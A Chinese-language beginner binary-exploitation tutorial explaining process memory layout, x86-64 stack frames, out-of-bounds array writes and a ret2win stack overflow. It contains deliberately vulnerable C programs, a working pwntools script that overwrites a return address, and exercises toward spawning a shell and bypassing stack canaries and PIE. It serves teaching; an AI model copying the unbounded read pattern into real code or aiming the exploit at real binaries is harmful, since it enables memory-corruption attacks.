Pwn 入门基础（二）：虚拟地址空间、栈帧与越界控制流

高地址
+------------------------+
|   kernel space         |  内核映射，用户态不可直接访问
+------------------------+
|   stack                |  栈，向低地址增长
+------------------------+
|   (gap)                |
+------------------------+
|   dynamic libraries    |  libc 等共享库映射
+------------------------+
|   (gap)                |
+------------------------+
|   heap                 |  堆，向高地址增长
+------------------------+
|   ELF                  |  可执行程序本身的代码段/数据段
+------------------------+
低地址

高地址
+------------------------+
|   调用者的栈帧          |
+------------------------+
|   返回地址              |  <- call 指令压入
+------------------------+
|   saved rbp             |  <- push rbp 压入
+------------------------+  <- rbp（栈底寄存器）
|   局部变量 / 缓冲区      |
|   ...                  |
+------------------------+  <- rsp（栈顶寄存器）
低地址

void test() {
    char* str = "Hello World!";
}

int main() {
    test();
    return 0;
}

test:
    push rbp
    mov rbp, rsp
    sub rsp, 16
    ...
    leave
    ret

main:
    ...
    call test
    ...

① call test        → 压入返回地址，rsp 下移 8
② push rbp         → 压入 main 的 rbp，rsp 下移 8
③ mov rbp, rsp     → rbp 指向当前位置
④ sub rsp, 16      → 为 str 等局部变量开辟 16 字节
⑤ ... 执行函数体 ...
⑥ leave            → rsp = rbp；pop rbp 恢复 main 的 rbp
⑦ ret              → pop rip，跳回 main 中 call test 的下一条指令

// gcc -no-pie -fno-stack-protector -g test.c

unsigned long long arr[10];

int main() {
    for (int i = 0; i < 10; i++) arr[i] = 0xdeadbeef;
    for (int i = 0; i < 12; i++)
        printf("arr[%d] = 0x%llx\n", i, arr[i]);
    return 0;
}

unsigned long long arr[10];
unsigned long long var = 0xdeadbeef;

int main() {
    arr[11] = 0xcafebabe;   // 越界写
    printf("var = 0x%llx\n", var);  // var 变成了 0xcafebabe
    return 0;
}

void func() { printf("func called.\n"); }

int main() {
    unsigned long long arr[10];
    arr[11] = (unsigned long long)func;
    return 0;
}

main:
    push rbp
    mov rbp, rsp
    sub rsp, 0x50              ; arr 占 0x50 = 80 字节
    lea rax, [rel func]        ; 取 func 的地址（简化写法）
    mov qword ptr [rbp + 8], rax   ; arr[11] 对应 [rbp+8]
    mov eax, 0
    leave
    ret

arr 基址 = rbp - 0x50
arr[10]  = rbp - 0x50 + 10*8 = rbp       → saved rbp
arr[11]  = rbp - 0x50 + 11*8 = rbp + 8   → 返回地址

void func() { printf("func called\n"); }

int main() {
    char str[0x20];
    read(0, str, 0x50);   // 缓冲区 0x20，却允许读 0x50
    return 0;
}

main:
    push rbp
    mov rbp, rsp
    sub rsp, 0x20              ; str 占 0x20 = 32 字节
    lea rax, [rbp-0x20]        ; str 基址
    mov edx, 0x50              ; 读 0x50 字节
    mov rsi, rax               ; 目标缓冲区
    mov edi, 0
    mov eax, 0
    call read
    mov eax, 0
    leave
    ret

高地址
+-----------------------+
|   返回地址             |  <- rbp + 8
+-----------------------+
|   saved rbp           |  <- rbp
+-----------------------+
|   str[0..0x1f]        |  <- rbp - 0x20
+-----------------------+  <- rsp
低地址

0x20 (str) + 8 (saved rbp) = 0x28 = 40

payload = b'A' * 0x28 + p64(func_addr)

gcc -no-pie -fno-stack-protector -g test.c

#!/usr/bin/python3
from pwn import *

# context.binary = "./a.out"  # 自动检测架构和位数
context.arch = "amd64"

p = process("./a.out")          # 本地进程；远程用 remote(ip, port)
elf = ELF("./a.out")            # 加载可执行文件，解析符号

target_address = elf.sym["func"]   # 取 func 的地址

payload  = b"A" * 0x28             # 填满 str + saved rbp
payload += p64(target_address)     # 覆盖返回地址

p.send(payload)                    # 发送 payload
p.interactive()                    # 切换为人工交互

64 位：offset = 局部缓冲区大小 + 8（saved rbp）
32 位：offset = 局部缓冲区大小 + 4（saved rbp）

无保护 ret2win（本篇）
  → 开 Canary，练泄露（上一篇泄露部分）
  → 开 NX，练 ROP / ret2libc
  → 开 PIE，练泄露基址 / Partial Overwrite
  → 开 Full RELRO，练 vtable / __exit_funcs / ret2dlresolve

虚拟地址空间
   │
   ├── stack（高地址，向低增长）
   │      │
   │      └── 栈帧
   │            ├── 局部变量 / 缓冲区  ← 数组越界、字符串溢出写这里
   │            ├── canary（若开启）    ← 溢出会踩到，需泄露
   │            ├── saved rbp
   │            └── 返回地址           ← 覆盖它就控制 rip
   │
   ├── dynamic libraries（libc）       ← ret2libc 的目标
   ├── heap                            ← 堆漏洞的目标
   └── ELF（程序本身）                  ← ret2win / ROP gadget 来源

函数调用：

call  = push 返回地址 + jmp
push rbp + mov rbp,rsp  = 建立栈帧
leave = mov rsp,rbp + pop rbp
ret   = pop rip

利用链：

找缓冲区 → 算偏移（buf + saved rbp）→ 覆盖返回地址 → 跳到 win / ROP

① 编译本篇两个例子，用 gdb 看栈：x/20gx $rsp，对照 rbp/rsp 确认布局
② 手算 arr[10]、arr[11] 对应栈上哪个位置，验证与汇编 [rbp+8] 一致
③ 改 read 的长度，观察偏移变化，自己推 payload
④ 把 func 换成 win（execve("/bin/sh")），用 pwntools 拿 shell
⑤ 加上 -fstack-protector-all 重新编译，观察崩溃点，尝试泄露 canary
⑥ 加上 -pie 重新编译，观察 func 地址变化，尝试 Partial Overwrite